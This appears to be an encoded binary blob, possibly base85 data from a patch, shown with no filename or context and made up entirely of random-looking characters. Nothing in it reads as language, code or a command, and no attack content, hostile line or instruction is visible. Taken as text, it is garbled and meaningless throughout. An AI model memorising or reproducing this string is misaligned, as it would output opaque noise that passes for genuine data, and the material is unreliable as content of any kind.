z`OdK~oFAXUo?81pkj4!AemEhkDa4ViiY7CT3ebxw*PDKktY)DGT(Un366RY86b5jr zx9R*1kSgc8HWK{#=VonF7F{;EF*f@z1km&RTXyrmw448B_^YNEjjwmmP7m7W*P-I> zh4w}@I#Ld%A|4C%qmfBep|I$PDq7voa<<}O_99qdER^XxfD4lQ;kT*yC=T6*GX3GP zZ-#!HG9Y35J0u(*g9udn#I}?r=c6b5xjcUiB(4oVOcgzTdmaq)3rXCOT-^J(ac5NA z6^!T_D2K7Og2%ZRo6}yZCaUMXHRT~+6>8Ruto7KZp zrb=KIk#HAdro9)9Iv^m^&WouS%c3%E;DghaPS}0~v4Mdk_P%YUDN|CrdwelJzDV_f zmBFk%@ak#|ChM zCZwcZ0IB2QOckU=o~9#>*_eKMg_D3K)rKRM^8xzNiEyR{@5O+MgVjTzc;AF@*tRJ~ z1cz1>X^JB`)H{HjC8d}~%l;9jgwUei2a(jEN-EX|U}3xa?HbNh`;mpK2Vx`!o?vXNLM^u;&g=@w#Vg48O=X*0)zK0$g(is*XDqoBforVH`X@OX85 zRZMQ?6QPE}jQcN$J1KFq ztx<8~k{cDbKq~GD`Eh%(l90yZSV%mauyQ&orxP48YStfk+Xa3xZY6rk^aNhx3yk^$ z0$c6?S1!NXYsa6HlldFSTmYHVZiYG(F;U$~nY5^R18OV?U)2T{}ga{g$eln4h0P zH--PJZfJ`CyKcmAch}AFd)AF`rf!BIrTHp|IIWRnuQtz9S`y2zl-i_%ca?&B99*Sb zvv;NJNhdS6DxGlLvjI9uK_>=2&X#1nuVH@9ojAnvv5vS46-Z4RRo0{H+_DaQlwZzq ziV=HIQOlHmlUK30#WZ9&m%>c2K?#BG1hd)*pKieu#->@;Ep0VqDaw^MT5h!Z4Ao~6 z`{FVlDbg%l*n=(FQ$t;&(urVLEJ^usd_Z-b0@A^BP>xAyZCh;C%M`3I=V>(X?Q8nz zWoZ6Q?!2#bds`Ryy)Bjy+@qmNUb>3g?%i*_xR$+0*&6FMOj^l&S+Mb?{q)lvEDnG+ zO6#J*wB@{uXbN>E`Bo-A&Zo6_;xRK!Kl6f%j1U;$CC?D$RFQnxE%uKA$3& z2Q5Rc2mcy3e(HCEP*ZIxT72!!#mFr@ z45xJFnBYGJDwg8HKDwl zoTJpz;6ML$2$eTOS%S5@LBpmf(t^&x$82py-=QU`2de8 z6HPNNY@Q}V|^u;rGcE*SHC8!!eN-{IRc)lf!u8!;Kx$iB-*H9|8>&(H@$vmZvz zq3Ilq0aq#6+$O+4dwj=q8CpN4iS2|iK|?|wsyxOMoRh05GOf(X1GV7c$)J@vg%4F` z2|Oi-Bl~yb!N~rPJiOtbT++W~+Jf0;II5q29O7vMo4_b8-<34AnuLl4=l#NCISF{w zv-8VD6z(3b=Qnr^=c;3{sJBOV6xSzF)y=*HpGwYqlaa*#@Fxk(ayo-U-qZ`@$ekpX z{SjV>^Ak~b^cnf{vqFENV`hKlOD`p!ixg$SAH+d?yMcuXN9j!0u11$Q4@ruZA{)>#>4Z)>Xt87MZQ>xJh5sD8;5mq>mv0HhZA2JQP6n` z%AuZJC0RhBq!1j5U)S#0E&hSm0?1d>{`vBZ$d_k$zC6RMMtzK@v!Qt7dxlgWjMHWj zqo*@@c6BDtuFmAy)tNlsp>!tCx2tDL-a>!Vcay(nO1`|v$y~NVnYnC*GIR1mnZCSx zQl`Y}Dl<2P8m1O83@fBOBToI_S<9uQbNwVB$W#|#QP4sQr>P;VG zs3ltfTKBP#k6w)#qbHb+(=oFNIC;gD16_E@fiAq{Kv&*N4z1uNM`rMn<1w77bSq+x zpW-D4Q1Ox@tDLIjaBJRblh*X+!f+fEVcOC$vm7I37>=DXPdd}(d>9`vQeWxfT|Ar* zz&p5jR}bd{@QyCt&BOTsypzIJtB|WsIcN%Dy7TQ7uHrZ<=st2Z(obv^iKOgv?7p1+ zHJq{h0dg7DEdyB&DqSwjV*Nmx?W~tU^Mj%xH;?92cGGOWVCp#lrzg!Uhv2F!L z=xMqKJ;7{GI%c*P9fa!xH!rXHDk2V#f{25nn1JYjd4vUMA##%m74}k02j$h`gH^cw z7=YjJheLLp36FM=YCL@KtknVXfCd9?yjt7JW9Zn!vm^-`}9pYu1Jhdkla=1C}t9v6$K6 zbb{Goa5$4oSFL;Tnv|BQbIy_#_NWI4hOytAYw_Iu z=Hc9a^RVnU54-!#ea6m>k_?8;ti_@qept!N6-ZI^)hBs^a1pn^g!>T6!NozL z8nl08l1J*S+>JH9e0FDTsg>VSB1bWJFncH*W&pj;qmY6pj?;r42;X7*3$wB%m{y=0 z%$`UJmhyhEOYrPZ^TbPfeV+7yC*S3G=7BEHDJq!obUE}UJFLg*h_A&C$Zb5N)dTa< z)UH52Rv@~S!dM-OaD|$^0hW#qNN3C8`pqpnG3qI67wk3s7)e<3 z$0EtPa|bUTkdp*rA<5uAZH=15{4soKw;sY;!S%EikG&a+lif}{oG4rta-PQuV^kfG zFQ~Ck*BbIQ?T5}P7W8DNqi1Q^_aIER0gqx)F_AZSdI64v#(@PPF(4~LGG{e1*vd%Y zUDgorYT6fxD6vOV{U~_DVXUeQSyh*!YqtWjaY zg4x4~qSmIDuK2qu7gu|_PsZ}9F~~>>BP8}{jM(5yRi@j^?9VxmjU{^ccdp(v7@3!y zK>l9ccZ7;;JR=!`g)4ATc{-y{L@?+}*G`4L+Au%WJLfRGiFzMGR?})OoUrEH4Ndcl zMa&(4(VH_uG zW1}9P5)s9rOnsqsjYPNgkf{;u|IZH$@?jva<;mLmuJq|x537dFFw-J)co0qN+*vCc zE9dl#){3WUC4AO#)5hTW7`(+F=TAA`)K1diOB1cGL=8e|usHrMXh(_E+Ww8*?_emt ztu@|D^sga$t!4E1@KtquT&o?Ji{}Ky)4pXq*lmY#M#h6Bb-#}Xr?B?^iz?X)MDXMqs;Ok>RjZUCF5aj}W z2zvF*Wc=0))icM!#n!<-ebdouY`rIJEiX~^La~9|SBPOPw|6D57KkJNKpCv}78Q%( zylE*LHnfWnf2HV$B02Bjg;PS)(XoCg%TOxp5=?k=8V!q$4#7er8Mmp%S|evBE2Q2S zCJ|o~eVskuV)&fn2&Ky6A?#aIM1;M~X(HG9Ft&GwvXs2)R*x|1kMcZMz!g5Mq(r4=vM{}JW6 zxzGX2^LV)Y^T^2qw+?^P+Ffzxt)R~_>s8p;yUlKIMI4D?DKC?3Iu2YY`xLrEb`vfC zJj8RDe6&V%WzNO-yv(mM@69XpS7 zao-UA3N$hV)f?)C`-L&*D|1eK1KVtR4XF`|GU%0{;k*t=`daLVvM(3q7^%GE@h2p5 z-T+N)616g8TZn_QWGjIG3TO7>9le(GCP;eGb=!#in-48RuhgaX!HhmcFELz|z0@h~tpL_K^?+z^4Fecc48mccpLlo1>8P8Svdi zvOlax5kTI^JYo;6-C?So(6tKfkdu^r{hM|o;I85Y%puTne;Mbr<*ou(SNOVC73DVv zu_)U0=tx}hE9wouvYk%sd*(~C6+wXJZBLDT*Sm+;<3oGX_sf}pV+G!^)z`3gOm(u1h)e`fVEPOPk?WqtI zqZI~v+VZH<%H11bEO$S5#>=`+B7!Lm$?}L#H!NVgN64K~%r{l{Mo?8an zYtt6z?0ymC?MmBIdDAjSQ2OlSkjzA+R>zG3#lbZ4hR1sGu+oTI8Z4D3n5qZSAmmxV zIS3L;CPgBcvi%0ab=}rVCKZFK5Vpt(?2dQKhS*_uZQzNX{!6rDW-0yCjySZ|Ehnp# zkJukbJZpD}oo^wE(~KW1MM+_8!FPPbx|WbL5+Va&%YxE_H7L2Y2NCCcko{o-R7p~6 zwhq+Vo#e^iLpyk`_gtY(U!>ALowFNIOhz=8^z*s} z(v8O_%-}Vw_GEX+*P6 z{xxxSIq{%k%aCVH+M06;1i&Z+k31)oodOc8>fDxzGeoCYJWZy>kc;10^zb|DBr0-{ z=XdJqMc%uwlfk6vG!R2>`j|6=2$X%6Qua;Y1!b>+gEUgt{2t(+B55fObhXz!7EZ3N zPi(1cdb1;tK3wyQ4wXD%7kN&nm@SQZI;{cTU35yJlupT8>;^hzXwfMjgx6lRCc#8& zbsW`8I}4C#YLG9e!C9^bmEUpbMbD2@Pf3t3A~`hbl8Z*0T#fpeGn|*yw}k&vo|Z}7IBinm&=ctn7x%Aj4sw%6)o+9Rmg@ zWmR|)U1IP!Qp8;bF3fQ*g(%o=q!>i4@`;i(%NP%6EvWG2APxo^Fw%1_+eH~aIa;&> z{p7`5KFN>U{6EBPn8Ft)c3`+xV&G*?N>pQ_q=7lD(n3w{GCA~>^Ba>SEwYxr6Xcp` zP&c{v`>^A!fG9o@g`+i+m9L_qHYSxFd+Kyozs2Bj9{TfTa;Z<3v~fMY5bY&?+Bxpb z_vQZkE@i>pXewQriWW3o%FXM$v`Xd?^Sk&a(6-3WKe^eV%m5vJk#ipN*m(+eP&?RD z54PsHnM{Lmp1?~S@P|ibQC{xQPV+OHS*qSylgg2BmC4oZ-Ar#0ud@kEJuAR>J;Txl zEG>$;bN=~d4CBME>>;v#t&jC&X=PigNkn(3vU`=wg`|@qPtU=~7h|_`g-D_}T_bZIk%l-SLgvpnn zbH?GloJ}s!8-zFt>CVZ!!&2m=XCxUJ5nrUhsd>QD+vVmdr!yFd{TQ;2SlOT=sH;(= z*lvjc!Abi>u$kr>n3I?#X~Zn~U>Qdsjeo-v>{J{UytI88jZgJWujJztlty!+z^dE` zLApxSj`m+jvs^dIp;$#!rU%P>55^8KTki&0ryH#lO*=hUuAWMCvrIijF$dyC?~WY= zwPRGaqwG^LnYmPc($#k*)X=pWn~#*XXafC{ND{r}ld^OSoPr?PtMbd!4J`pSdI|N2 znwqQ)eI5fiU5U-l&(WUPiLYW{exO27>(11=wJK?IB>TG{BxY4`EL)DcZ?P*+EQIQg zc<2y(%)??74P};6!BH&c0kT!IiMs%HyOi!bp;j7vrJ;NY4^bo&dOGwPA+~UtT@}tQ9gRHlK z=fjHiM&&%BoJW=O7@f@iZhUl|$HA%Ud_6;oT1;h-gl8F$4fe}r$N-V0ljFE(oNsPj{hAXp6Zgh0A+M{@ShO)Toq&zr;lYl7k7Ff3=r8FxN zrqwvN#< z=qDh9V%2Cbj5+sVhYY46WlwWO`}~w`Itc|t1E0=H@wAUn~}a;rIqGVGaVZ7 z?S}Q^LO0L$VmE)7@2L1*+FRLs5i;WaAAZNHZ%ck?=htf!w2o(b-NDQ8x-Wc+bWhCh2Fj%P8I8%m;tVrY6xq;-p0wGWN1jCD(YM0PxJ}3p}@zFKV&5s>lB@ zm-k>HXelX8dKdl$ay8z1y?reE0bbDkknZ05?I*hZc6{+LMEjW6XZK4#d+0mJM1A~c zKXMs=?7E-O-Ggx8%wVLz!h<-YIP0!IzUn;~tV_k13P^;U9V82-?Jmb`5N*2JLQ1G-!`5;;N9gQ`_tc z#6#^1r=tAgf>HY?5Zjj_Lfo~U!tU`3KAL8YWtP=-t{z^tB!tx^UD8|>MZVb8RMK?( zNPN4`F2{L)(dzbPOa6uRC@mh62=YtYM=?jz5z~c5?8GI0#_G!zIP!rEUh?*?U`XW1!YS<6tUbSD(O>Z z(_qZ7DcNyzS&`++mTDo~2MCG03u%u)e|4fiqo&eOH)ofdWqrCB&izUYNORz6(D9LBHMAmYdCD*iW6Zb#_jX)K@kqg_%l~M$l|wN`=r$E z)?JEmgjfnoC2Fnoc1%&mAllLmsH@=7!%%-J=*57Y#ntIlaQm(ToZX67NWK3m0lj05 zzUZBLHZ{(x^*~yJHH9L9jM~cZcGn_J25{|<&cLFoSkgL>2i0-^MjHP)kynZT>}L(Z z|GxNNeE^2)enl!{)r0V~OP+e-={I@miYKh-!`n7^3dmCto^*K%&7_S!n2FR7lQAd+d*oC z4u6M(fBL+z9|YTw%X2{lcY|!p7~#XWor#6fAg&$f6J?_CUphU3;X8SZlugQ+bBX;6 z%nIB8%O)iv>7MWC^GF@BCt*TKpGQt*_C;7Px2+wD5nmmS!zPt@CAiEo^2+KFFeDL@Gjwt` zS&98K1+7a3#p|NZmjG*$2Id;q>_BdmDZ5j5T8DZ+h(qniU|DAh8|o1s4jvKZ)W`+t z6LA+xX+=5kW9(YgKj;UGTO77<4FT@!6D6c@8ZN3A;m$+PBD@tHq(cwkv2&J63;Xew zHV}r_8)@Yt)CyEFs>EY8;&&+J10O~*L-q%FOkm&iai?PIplra$JnLk5ii23^BegM( zxyIwaVbS(6s5)w#f&fkcpM*zy2f&)C@UcqdT)9*^Sc74zN~buK=0O*@_9Ub#lSs;} zz3GABUqo2Tmv=OASFqg)G z&jA7;$xNkEZKoC&rBW&-gYLw;ba8RIxFnToKWu7E3WVdCu98$qD!D6Ij5;M(*A|!B zRt#bnrHaZ>(Y8*Nrdm&}38so`PR0KewqTb`99cU>+_EF8lc_{a6j2T1vfkQ}sUkEw z#c4z&m3nbmDh&o@O1b5!LQkcwQms6drc&juN-Ln!3Z>ElrP8l)07b}tTeMjsZP%d3 z0HMN&vq&Ietnc21+lOUFQsGSJqA_cJf)q5ZHuWPfFCBQAs=M+Eg;nrl!KCklF%CEyo`|fy8~?GSfDfuxd=pw=lYD)RR0HyAUDO zQwmQlby@p%zQ*=tV1w99b@>1A!S?v;fFm3V0Zm#a0|^sqE-uWEk7K znt@mZQC*`OxK6~}jY|uNd{QQAAr#RR?t;h(5Uslo` zGx0Ec5y-vb+b-gj-mA!MMnNEAUx_DGI~^C1-VoJ=Qfr24pn|fxktve}3HwpKiYjHH zW>@7Xj9XNu;x0LewE}z+cyKK#ES;X>ND}pwjRV!Aa_poj*G{Xx!E2CpAEYg4zX!cx z3F}il>7#L)(v$Q3Ay&q0&AyWigduzdA-Eg1(L0HRUBVX3$B(6y4-So5qtv z%tX!0)QRaq-rIo=Jpx6AX$)%TLhdNXq8%FZS8sfWL2fbLAA zTWVN_<)rb_`LP(rUxugZ{ywNXrJ!#z|VP8H6xv+X{hj(dl4QiXWEvRbz3yDmGYcd@`d<7vOZt z{7_*D<=^u0qN)?a8Y(?)AmU^NSedIQRGT#D8)ztGvzVg0Itb;wr&r2z%_`a)WLYk* z2x{k`#O9ayXWax*ivw>#)8+c9ZK*R@o<&!KF63KuRJUyPwj-3uvfwUhoM+-J@B*Nv zfD(l8)juRm=Llc<9|#A85r0!_@Gi!FgBgg9O@FldaF|O(EtGgj! z(rHJ30SvsrX^+QRTw|CjfTxo2BoQ>3N@7)22Y7qGfCHL3;=$>JpCycs_aO_E!WQn% zK-0yA)pcI+Dn?#KQiaR&vMY}45{OonDg^(+RACC0WAA5Cw{`(2`=)M#B@BX{sGQ?T z&C-sbVo;qIOX>;qWu%_4=67X4UU@^Kvg|iuLWzjI1$NA%V?wAP?n7Z@mvsM<;!vcB zS5&b6z}ZIklPJVRLmfT2X=9;0p(8~){30<564%OtAxn4fdr-_pXvnL^RF2Y0Pty$U z4`3f)2Jn564sibD3>5lMQ#VLj9Vo$_rmU=El({QpR=vyGp1*G~i_lK8_OlUiw}$eg zYBUr6OVD(u8d%qCLcD_!?;qBuf2T?k11o-yh}J4ltB9$ zj$l(n54^LaFUNf@9EYg=5ci-OFb(%D9B5SO^?sDsA^%OU4C%I#>SS;rh7~y?V)bSL3KQxYkoLo?-mj;UH3x$-?DU7Xx-aUIba9Ho(Q!!G`{aU` zp_ak-1cKu?Y1#u+@WNVlF~ashc)fm`*AAbH4!UZG*>Bs|lygSP>MWzYt{skA&ik6@ z><~7#wa8$di_JItA-8Kaw12@kw#O$Gn#OaT9Ftb;nv63k8icv^BcxF5j8J@{jc;lJ8 zB?4I|W=LQ7ZJxalwPWg^fLT-+9B3+}qCgnN$0L*nOVP zXO7?Uyet0UG;+}3L~~LyCd~HD-klv|t*L;_LiG{lA!pe*zI|cQS|EVHvAG78tA2`Hhnw`!_i;SlWy9<=dbggzu~hSSCajf zk2sNoPKLj=9pn=5ik?PUb)bT)^A=(}>zE}&u?cBcarQfqnAnGtZu*E^zlXO95{V00 zIDWc66^B1P^8?=EU<2(A@05rQ7%ReFL=iG0(q%-hjEIpT7buBhH2sI1+v(1abivou zvfw!k<;hG>;FW}w1cPFMDtd5)d6e$YaC-xq_X{56D)O%SJiZLtV^HX0q2Q!=*dy%G z#SD4Rz2n|fcv5vBG{FiRX>*jl90k>7#><7eRz1$xMQFtKEHbi2N)bh_!3QzE9)HDS zl|1d@lbQ#69I_uSWtAz-+p^P=S128SXPMF+btKhG%?RC96&03w4sn*9`f8T0fms9} zRBDwwFPeS>0aj);o86c7{{*;VN=XjjJ^8rdVW!Tf~z6SQdu=a z_O4WO)PK`zbzw_=RmV(oRN2G{NNDfnjFPsACL&MdL03c4$Uye{NI;WB2Yl!P_&G3g z+W#gS#w7o%Y`8GIMP{c=XqM%o8e4wQdgD8cUH?n5&Y?I0)5d;6Lgo`J1IG1gy#{%d%#0ll&|8WJ~|quQ!Y!MneNI9JH%C z9h?m%{7U>S?}%jS85duc?d>D$8=Z7}&zcIiJuMs(|aX zrU!LsP&>lYNu~|3J&D{FxSnZ;U!<2JPdrs|!7VGld*v{DrMAfvwgbt$Ca5Dkl&lk7 z2rVx&M4LJj5@EZjr%YG4*mw^aTguuE_?~37f$N#>_|21*O!Um}U&)+^lJy2mq})R? zBeMcd_Fg`xvm5Bl`x}0Dm2yU;O7>@O3718HSW_btkv4w1*ftTJ1P2a3y*zIb_IZ zX#+Aka|52zy?epl_V{`wUS}B}2p9Rxcxz8Tthc4^QN1&~i(>VBzA}4RG8o^7{ z)NwGDI=H1sy^>ot@o}#1*yPz9asr1-WQF9WO^*#vXhC6S-))RrhFUM-nP^?ojazUW zzibZRZqF{Y!LB9Mrc;I9*6J?ha)96JF6cLN_h-wO6^&aN(muun?;DH^gQE|RU%LjO zYl;jB6qH|q@cnY4qI2p%q29~m3BEF}_G{W1;G}2x>x{x@n;vZ97Vhj!0IZjIzfP%N z9|+l@Alu{p9*Km;DRtZ>Hjlv#+4S8N2Zy*`Zh+4DxDPpRyP?AfvD8Cc>M$UiAkmiM z4#`<~DJ`AMd+{!h-iU|q{B51%D7+$M!-9@7rkh7oRDVD35%BR+R5kaU(8@ZieU?Xn z$zm*$QIR|U!G6oG)YQxnB=o+b5g+Slf4_o#6eG+uL9%r3ay>H}54Aiafe1^=6RKtIwN*U&Ee2@Lt`X2p94(o>5dJ{`9=arr*s@B|blyUC%PD$^+qddCS4YKUdKCTEEtcj$XR`aZ# z>QGun7ckUF?#8%U!?19gBG)<$Ll~|J!o6r9?HUXoiY_A#;1(7JcGBI54lAy2J`4fR z#?6&!#e;N{CP@BKA#b~9ke6yD-DRnU$TJqa`KMA-i%lX-a=L%9;;!`I{LFZ(yj*In zXQ=NQpN4th(J18~qt9yu=-yY#6$?jGKh%Mt^+9}5q$eGG*+Omq4X=hIY;7(WW#Nc1M~$F(PC_O0t#*QaM6oU?^L zHKx1ai!!a#e5_0PvP^sXR!i$Nes<&ZS*M^v!M%!Cx6>}U!_Yb%IbOT)fR1t=X{V7# z9>TL}uZ4f!u|ciVh#3yYq4=j`C;pMY-9L0VJFPzj`cRXMy%f9Fp$2VIqo&=2g;Zx? z{mGHQE=I;J$6*wGuy*-*5Do(^>onK^uDZh+2>6dXAhav7!REpuq{XpXQKb1=+SEhfERV!;cg)uFLws@q%2O$ERL6Uy8Uq z&Zh{?w|O+D3C&Mmb2GK8kVxGMk!1DSqXz(wwJk&RD#SZbaJXUj+6Mr0W-k zkL)YRH9d1QLj@T+IEU;n$lW7z$Vfq+MXlv=K2(tA9yw&JARY7gj2C1@9-pHH$&Sv2 zI#!U&^N^{6Y#g7XIZ2S?j?N*c2=c?^9CDf<>+(W5f*g_;s!0$WQ|hN;t{`nuKYQuQ z2vXB3hnyqGL%njyB0pf5!3{BX3F%U=X=c^dNlfGfTH`YI4NA{`2~=i91K z_2yTB3WGV=?OiVizYX*jQ@MIpPM_)+9>@dL5_5Dr&$}P|4ooD-P}Pd zqi+_OPx57+s=qBd47f7an^W~|g8bc;naIyZ0D2za%3N(XkoiOx*&4V)Uue!5;FmMg7DUDS4W;Z}rzK+Wf>?PlrEX`7~*^oU3R`bPX%Q zSZ6Lrw~u_#vofkf3!uZ+7kG$aV2T6UxCXU4X&Q`rAYssiW_W2o6$nFZjCnaY!{`-a zN-w}FQ6=GQV?-zbnsc62NV7KEI7nzt!t|!1nQKfJ#BhtX*GtW5N zI75&Z(ONOoJY$|QC&c{Pwn*`5qi2n|g7nTqGJ;%rXO8BakOt1x{XKcI#v+mM&yT27 z*unY6c|g!Z#*`4_YNKCoTo7j3XQ4GGQg2>w{5edTF%y+M4aN%N5-hnX(cYM&INQOM zKwx6pbQfvXZZfV9uL5$-MirN)-D2DlrnO8s)RX5H;|WREcQuNp4QQT@&{j*=sdP1KuNcn>P4T&&o?kJ7QKoClRbJY65J9LFzSVtd z#G|ZjCa+a-HETPKR#CPxeb=eD>dnuMzC!bClSk8Rj1`*O{;D|Fo6W|F!uftT?VA3B zu}El|j`mXegK>e#GwLyqj~0AA%Cb{_sVB1$d{>anfr@j3QQ#sU4e^i~APZob_b>GL zj3y0`t;-d%Q$H;Di6E=6ScE!k){Y5&BeCCov!{)z!Cyq?oxbLe5AKSxoQ6L0I3FL> zW90nU%}PQ$SRahVsIe_Sd7P&OOJlTfbFm85Mqd=XGDgiW@=N8S;59(dJKdmY8jSOT z*9o%pL}g|4&lC9G zA<|&QJ*VK|XU&Q!@80JI=f^p@C-P zbcHl)$C+yrlxHN?bCB~|eX4n9f_%>Y$g5kXn)eEg=9a;0^;694!sqN&UP>Fx9SNp% zJicnl2ko-?sf5~yohU>Go2Qv}l5yRZhtwpg!&4sgba*;09vnABQZW-*WXU+M7ti8$8eAYZykSG0enl%?C7ixvt zJO5EM&05yHKse9ZptR9oWX;QxEKMi-$U-2LX92!1RPLM)gsE6QQ_0h;UBXb{oVm%f z=S$3|lGO8;n9WfdTVlSLT!q^Bug@z!nzqdRk090Sln#mfBFGnhUv!!It02+(9L+8j z>V3tTp?-seh1xK;hSb>qC}3Q7`2E#oW>Aoi+IW51Wu_^}O1CFWKH&oL!NDsca}a#6 zPz%Vdel5DpOcX2#6l!PTn~~{iMkp)_tSr%rDm`s1H*u2~XbLfwqG)a~I~7nHw~tXs zy?LW)3v!F?A*;<%f_yRDLvA*w3v$ZKN}hUit$Crue&h_VT&y!!Blbeg@Ov`r%sT|R z-EZ;NnfFL4#`*Q?I`ck}`CeCJUj^2g4~aJVe&}g+ow-qv(@yX-zs`J7()E3VLYlR8 z<`zM!U-PtayZN#pmD4;MyTg2~AOLNw#d0*IjXTYEgr?_R9-n*6_X`#x6^S(-pNGty z1+=jhC0SAW8sA~Xetl4n?OlX*%Z^ZmMjn|6JZISZW82e`s3Uz^NE3AMX$Rl~kxq_VG#--^`o97p@?3_Hs)5g>0#X{5D3l;pQd9TQ`@3mg+&zpZQWbJp8 zTl00HMuV(Et^Go5=3u7co z!Y|G5CDd^@crt%w{vgOFeu?|u45S#l-O;OCzQ^5I8ghB5+sAIB_rr}>M858&By2GH zSrI|*_P-Q{5rM`&9jQ`!Rr!G~QgFON?g~z})~A?u{X2!!o0F}(QtWHp@ugRfO|c$I zu`D-XK!>Tox1RNP3H6VYR4VYTXZ0*%o<0=wWIn;_TeK22(yk7!MQNv5`xKGSUoCS>fzfHNC4V+ z&#!xTTK_6xN}u=pho4)ol~7~H`fb72)_a1i>*m$`&6ZwDn(4zmf~8cJz(gBv~0MWGp` z)cnFxp5{wKPAPkFGhSBZtKKXPoe4g$jpx0RJ0f(INLW16vxI{~_ab(*jB6CqtO(**hht)l~mm0_bNw)o|m|W_~R|3LNAoEz1X(R zi)(b~_0k1EKD*AVwMK{D66C70Jw|* zy2zw^JX@U`Iz?y>^LyQA10kPZ{Q75c=u|-tt?}xpi-C~y`!9G}UG5^YFgvNr^19G0 z33dJ9o;>%496{dw$V0XQp|y-IHngWc3!+AP8whjx!Rr*#V7wceE6C|rSwhob>;OW| zU$oTFo_k8u7F(YJp~m|DEhtE{_EqQtK{!%Dnr5vzbZwfodh`U3<|iVsmJKUC#0=k` zW({zV&$%G{N}9Pd>SD{~(<&S+3v|F}4_0QA^8~AXcpMPSdhJs3G#HiPg=OU2jIvCc z$yO&KOcyMZNQ2QSe4g-m2+RMKgw;e4>Iy$pZTKodD$)N@d}_njmQkL6{}^yX)rPMZ z&L{jyrL@858U8{zPweDL*p~=6pNF!n`1A`GmQ$V~_b5IM#y;W7a?%{)$3BDzXr|#y zO36G7TgJ73rd{X9bubXp{DeA6(To)uv{ui1nm>v(8fsc!t0#qrmovXETI^}{yzs^4 z3qW%i+FbH!*3JuGigEZtZJ>(`3S1bzR%qtoYeLa13$GEH$In$M9THd;zEzM{U1UVy zy6`$d!WivgsDps47i6bPGYZH(V`|!!uef z1fMtDPxb}aL6+XAkn62zWV;}mPtzt6uVAR*K27^bc?CItuY&o$_yNVaS?d`&QxM13&pwgW6-?JBS1Fo$Yk1`G3Tk6r+SA5} z$XkMJ{@%0s5s?oBX>*}xKl?{MuVC8$GDz3%eI$VLwSVM46$=sj_wW(1gNFj4JPz!T zNKb2Kq+4sI>oxRgiF_599XYf$`{8RQnJ%B%k+E34RH$i~kRZ*Yp)-N3LXYU*@Db6p zvm!?!6vjorQ^-H8vm!^gX1dOKRB>+Bu8jOckXJA}$xs(+*F_!^WH7dZ5NQVTq#!H& zP%9!&wWc;$k13ipk>^08X@5FS*GjInkkXrhu!lD2d`l2byA4R7L!tKKo2DSmKwfOE z0eSNc54kV$iy$-K@sI~1fi?`a5`7zT*7S{$qBcy$dsnKsFn$;*Z^M-Sv^Iyd668#b zvoREDDg-%fO%7=dMAKeB+Yp)tjPbP-WE3tjQmJ@c5XijD3-y$X+~ITH6zL$G@Ahdn zMLG&{{4HLnO_5H*`OAA$x*Cj4k(8IFd&*w~YqNeDOt<7iiHU8H@lFYTwFqn)WPul}f^2BGS zj0>}7QPlb1)8zp#u3^zbCDd#`T?a%@Y0Gro=gRY^&_U6;ZE343{d651UDTFV_u`LU zejO6M05s4K#?TnoxGslBZx)&!n7LLdJv{nX&|qE403~6AF~LQ&`#hS7K&Y{Qovl(@ zZypDPDzuYTH>0-+B3_4W8%8Lg2}EAYjkQt_AQzQXx)^c)oD>xm#;R<)^p zegVftua6EDB-6t~R=UVVy**@&i=?J{$XXZaeW330xx+;&CU`V|cag2*J>+p0`Eq|R z)Fu~szRII{0|;yE)Y5=(Zq`0@kwzEM!km) zF9pH+rA*M3`RnL3iK~ZC^F0u9Zg7$E@Q=}%!ue@m!XKlvh2{dE=2sVa?h(bgSu(Ni3^x^K>>>&EPZy~PM`G82M$NG!HSXl`(kzTu+SOM;ATRD6iM4@A@6SmbG} zB=&>Qy!xxs*yeB-7g@YZAzOg_Dm1a>mdJA<5TiZ$Bz!(yV`(6T+R;9rIu~i}^Qntf z2+c^?GVSNWa9yme@ag6Asf+aynsa?V2f4@rKA(eP`?hB;zu@yZC^kYuO?8nO;gPXP zf{buwCNf##TIa_#GB!nMHu-Ulb&)xKTw`M=3e79aJekMFrb+DQxyZ`!*jPq5pMtem zs$3iuyGUpraA`0a4}^Vy&G>2~&F1j5*xv~UvY+oa#ySX}Ib*#tcw?-8CG%n*mrt{{+C>bP&y(R>V}pg}8b7YJu_1!o>C@aE z8zIOMW1urb^bmS6~K#NQ3cG>=r?`;44WXuM+|1A8b>QW^EghN{sg4+ln-r{$6aI zAUyPnNIddk?C#1{8rDOuc4@Q^WA{ng*FUXjP}jx&A)J50_bEe_Bh-^Z)B8Pz%!}@b zJuk@j80jHRv-U~sUxHY-dwf2PZ4+e4Z8_uvK_=(Xd?Ls@c{HC(N>97jOX;VvZz}Pu z>8{Mp+UG9v#VRlM&ttz)?579!NZf1x!5=XufY@gszDs}oh)kB?Nx zCkxHYN-wVJ_=z1j=J4uFh18qX@l%B6!D)(5=SUwQY+;A3^+NTD&lAp@-P}1nvTr;q z@*Lo5wP$2R{02ducD33!azOkh;r!icit~oZLGiUh^N&#qSsXbm{(vA4V=)I)LF6Gp zJ}t;0{}AN#u{q=sLE4YVA&&{tsJZSM5e{N z36gSYHb+j650OxxRVmK%qG!ZM28CRKNW8d{ zhO)BUFQ<>hTM13QUjsZ2gqCo{S1Qzn+MDs7f^_&Mhx8L{zc@W>-q^UQbcag8B zDjKY7O6(NQ8; zf^@{0bBgBkL>fp?Yt>Kbuvz;u(WwhHe7o!~j9A_7R-kEXaHx(UT(tInqbWQv`X{kE>PkR6!1#<>gn~ zbG-Z-=_11>tGF7B(LiWFk6<1|#eSxX ztm)=i)S1c0g{CWd(;m%}U070%JImC<<7f$ICZFk|p`?^yM2N`FLZD2EtGoKdxJnhjv|w9>{(!qG@ZB6T4Cy!}qr&R5OrC z2&HM~e5m*|7=H)Cxc0-EC6)H)fN+$ra*HS7>q3Lt&qdb6-b+q^s!$FI`_H=L+)E3J>`vd5$1g`^dM+^8^|1 zhx$2rogn2t5-7M$kbXWAEVx^cD}2N(cvz72J`yc>UXTTTT(N@B1u4MlP^RmFSfb!t zLH_NBN*4SeNDrSTRq&f2V|}Ek!05&toaH0M1)*-#&s~08>4E~GdD%spW90=Uf(*Uc zi@m%c4FqHOeh#)R=pr;H`(&-!^Wt>6hkF7|1r6+G2# z70SiZ7Zo4O)fK!bvA4yTp0d?x1zRN4CriDOa)ygkeWOBQO+~?nLi5X}pquuy3ceBK zAz$;Eg8v9o;me#Yh}+Dsv-}$1oPt(ButLC>@H`^Ouf;12?XE+p)jt>13S!-0xyV%o zBL!JB)1$egV4l4YrMq>Z>C)U+uv(DC1s?Jx5VoE#o)mOx3JO;XpYrQ0?Od!gn-MQ6 zTqDR6@DVvZUQ&3cO^t2Gs0b09H&VDkkn3Ff%DPJLe0ogyxBy z9={66LWJ6Kv!ZF%t}QI+PClJ5lB4)sTUg$mnyYP` 